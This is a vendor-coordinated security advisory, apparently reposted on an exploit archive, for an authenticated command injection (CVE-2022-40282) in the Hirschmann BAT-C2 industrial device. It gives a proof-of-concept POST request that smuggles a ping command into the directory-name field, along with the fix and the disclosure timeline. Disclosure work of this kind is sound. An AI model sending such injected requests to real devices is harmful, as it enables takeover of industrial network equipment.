Hirschmann (Belden) BAT-C2 8.8.1.0R8 Command Injection

Authored by T. Weber | Site cyberdanube.com Posted Nov 30, 2022

Hirschmann (Belden) BAT-C2 version 8.8.1.0R8 suffers from a remote authenticated command injection vulnerability.

tags | exploit, remote
advisories | CVE-2022-40282
SHA-256 | 902fa02d042cb42bf90b944d2600703447b836b6f9b4d286e2b0bca32793a471 **Download | Favorite | View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
CyberDanube Security Research 20221124-0
-------------------------------------------------------------------------------
                title| Authenticated Command Injection
              product| Hirschmann (Belden) BAT-C2
   vulnerable version| 8.8.1.0R8
        fixed version| 09.13.01.00R04
           CVE number| CVE-2022-40282
               impact| High
             homepage| https://hirschmann.com/
                     | https://beldensolutions.com
                found| 2022-08-01
                   by| T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
-------------------------------------------------------------------------------

Vendor description
-------------------------------------------------------------------------------
"The Technology and Market Leader in Industrial Networking. Hirschmann™
develops innovative solutions, which are geared towards its customers’
requirements in terms of performance, efficiency and investment
reliability."

Source:
https://beldensolutions.com/en/Company/About_Us/belden_brands/index.phtml


Vulnerable versions
-------------------------------------------------------------------------------
Hirschmann BAT-C2 / 8.8.1.0R8

Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, or controls various critical equipment via serial
ports,
more extensive damage in the corresponding network can be done by an
attacker.


Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The command "ping 192.168.1.1" was injected to the system by using the
following POST request:
===============================================================================
POST / HTTP/1.1
Host: 192.168.3.150
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: https://192.168.3.150
Authorization: Digest username="admin", realm="config",
nonce="4b63bb796252d310", uri="/", algorithm=MD5,
response="dbcf03216bd8fbaa15f4b9d9d0fc1d43", qop=auth, nc=0000000a,
cnonce="99c14d39557e691d"
Referer: https://192.168.3.150/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

ajax=FsCreateDir&dir='%3Bping%20192.168.1.1%3B'&iehack=&submit=Create&cwd=/
===============================================================================



The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution
-------------------------------------------------------------------------------
Upgrade to firmware version 09.13.01.00R04 or above.

A security bulletin for this vulnerability has been published by the vendor:
https://www.belden.com/dfsmedia/f1e38517e0cd4caa8b1acb6619890f5e/15088-source/

Workaround
-------------------------------------------------------------------------------
None


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends customers from Hirschmann to upgrade the firmware
to the
latest version available. Furthermore, a full security review by
professionals
is recommended.


Contact Timeline
-------------------------------------------------------------------------------
2022-08-03: Contacting Hirschmann via BEL-SM-PSIRT@belden.com; Belden
contact
             suspects a duplicate. Asked contact for more information.
2022-08-18: Belden representative sent more information for clarification.
             Highlighted differences between PoCs.
2022-08-22: Belden contact confirmed the vulnerability to be no duplicate.
2022-08-30: Asked for an update.
2022-08-31: Vendor stated, that he will release another security
bulletin for
             this vulnerability.
2022-09-27: Asked for an update.
2022-09-28: Vendor is currently testing the new firmware version and has
also
             been assigned with an CVE number. Draft of security
bulletin was
             also sent by the security contact.
2022-10-12: Asked for an update.
2022-10-13: Belden contact stated, that there is no publication date for
now as
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: **December 2022 <**

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 196 files
Ubuntu 64 files
Debian 25 files
Google Security Research 14 files
malvuln 11 files
Gentoo 10 files
nu11secur1ty 6 files
mjurczyk 4 files
Apple 3 files
Julien Ahrens 3 files

File Tags

ActiveX (932)
Advisory (79,608)
Arbitrary (15,660)
BBS (2,859)
Bypass (1,616)
CGI (1,016)
Code Execution (6,915)
Conference (672)
Cracker (840)
CSRF (3,289)
DoS (22,559)
Encryption (2,349)
Exploit (50,304)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)
Intrusion Detection (867)
Java (2,889)
JavaScript (818)
Kernel (6,267)
Local (14,185)
Magazine (586)
Overflow (12,403)
Perl (1,418)
PHP (5,088)
Proof of Concept (2,291)
Protocol (3,429)
Python (1,449)
Remote (30,021)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,770)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,625)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,168)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,364)
Slackware (941)
Solaris (1,607)

```
             another patch must be integrated.
2022-10-28: Security contact informed us, that the patch will be released
             within the next two weeks.
2022-11-22: Asked for a status update; Security contact stated, that the
             release was delayed due internal reasons.
2022-11-23: Vendor sent the final version of the security bulletins. The
             release of the new firmware version will be 2022-11-28.
2022-11-24: Vendor informed CyberDanube that the release of the bulletin and
             the firmware was done on 2022-11-23 by the marketing team.
             Coordinated release of security advisory.

Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,090)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (662)
Vulnerability (31,109)
Web (9,337)
Whitepaper (3,728)
x86 (946)
XSS (17,481)
Other

SUSE (1,444)
Ubuntu (8,167)
UNIX (9,152)
UnixWare (185)
Windows (6,505)
Other